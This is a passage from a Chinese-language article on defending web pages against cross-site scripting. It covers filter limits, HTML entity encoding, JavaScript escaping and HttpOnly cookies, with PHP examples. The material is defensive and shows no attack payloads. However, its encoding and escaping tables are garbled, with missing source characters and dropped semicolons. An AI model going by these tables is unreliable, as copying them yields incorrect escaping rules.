这段XSS Filter过滤了许多HTML特性、JavaScript关键字、空字符、特殊字符,考虑的相对全面,看起来已经十分严格,目前很多XSS防护方案都采用这段代码来针对输入信息进行预处理。然而,对于技术高超的攻击者,完全能找到有效对策绕过过滤,主要是利用新增的HTML标签实现。这也是一种有力的提醒,即便有了防御手段,也不能保证绝对的安全,还需要动态调整过滤项目,切不可掉以轻心。

6.2 使用实体化编码

在测试和使用的跨站代码中几乎都会使用到一些常见的特殊符号。有了这些特殊符号,攻击者就可以肆意地进行闭合标签、篡改页面、提交请求等行为。在输出内容之前,如果能够对特殊字符进行编码和转义,让浏览器能知道这些字符是被用作文字显示而不是作为代码执行,就会使攻击代码无法被浏览器执行。编码的方式有很多种,每种都适应于不同的环境。下面介绍两种常见的安全编码。

6.2.1 HTML实体化编码

这种方案是对HTML中特殊字符的重新编码,称为HTML Encode。为了对抗XSS,需要将一些特殊符号进行HTML实体化编码。在PHP中,可以使用htmlspecialchars()来进行编码,编码的转换方式如下:

编码前 编码后 
& &amp
< &lt
> &gt
&quot
&#x27 ; &apos
/ &#x2F

当网页中输出这些已经被HTML实体化编码的特殊符号时,在HTML源码中会显示为编码后的字符,并由浏览器将它们翻译成特殊字符并在用户页面上显示。通俗点说,HTML是替换编码,告知浏览器哪些特殊字符只能作为文本显示,不能当做代码执行。从而规避了XSS风险。

一句话总结:实体化编码的意义在于严格限定了数据就是数据,避免数据被当成代码进行执行。

6.2.2 JavaScript编码

与上述情况类似,用户的输入信息有时候会被嵌入JavaScript代码块中,作为动态内容输出。从安全角度和JS语言的特性考虑,需要对输出信息中的特殊字符进行转义。通常情况下,可使用函数来完成下面的转移规则:

转义前 转义后 
\’
\”
\ \\
/ \/

6.2.3 HttpOnly

HttpOnly最早由微软提出,是Cookie的一项属性。如果一个Cookie值设置了这个属性,那么浏览器将禁止页面的JavaScript访问这个Cookie。窃取用户Cookie是攻击者利用XSS漏洞进行攻击的最主要方式之一,如果JS脚本不具备读取Cookie的权限,那窃取用户Cookie的这项攻击也就宣告失败了。

这里需要强调的是,HttpOnly只是一个防止Cookie被恶意读取的设置,仅仅可阻碍跨站攻击行为偷取当前用户的Cookie信息,并没有从根本上解决XSS的问题。只要XSS漏洞还存在,攻击者就可以利用漏洞进行其他的攻击。但从保护用户的Cookie角度来说,HttpOnly有很大的防护作用,但不建议单独使用,还应该配合上述防御措施来达到良好的防护效果。

在PHP下开启HttpOnly的方式如下:

1)找到PHP.ini,寻找并开启标签session.cookie_httponly = true,从而开启全局的Cookie的HttpOnly属性。

2)Cookie操作函数setcookie和setrawcookie专门添加了第7个参数来作为HttpOnly的选项,开启方法为:

setcookie(“abc”,”test”,NULL,NULL,NULL,NULL,TRUE);

setrawcookie(“abc”,”test”,NULL,NULL,NULL,NULL,TRUE);

在实际应用中,HttpOnly没有被广泛利用,这是从业务便利性角度进行的选择。比如,在网站做广告推荐时,会利用JS脚本读取当前用户Cookie信息以作精准推广,如果开启HttpOnly,则上述效果会失效。因此,推荐在一些管理系统或专项系统中使用HttpOnly。其余业务需根据业务特点选择是否开启,毕竟HttpOnly针对XSS的防护效果极其有限。

7. 总结

用户访问网站的基本方式就是浏览页面,并且与网站产生交互行为。XSS漏洞的核心问题在于当前页面没有明确区分用户参数和代码,导致由客户端提交的恶意代码会回显给客户端并且执行。解决XSS漏洞的基本思路是过滤+实体化编码,无论哪种方法都可以是恶意代码无法执行。相对于XSS漏洞可直接威胁到用户安全的效果,如果Web应用没有做好当前用户身份的校验,还可能会遭受请求伪造攻击。

来源:freebuf.com 2020-10-16 14:40:10 by: magic24

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论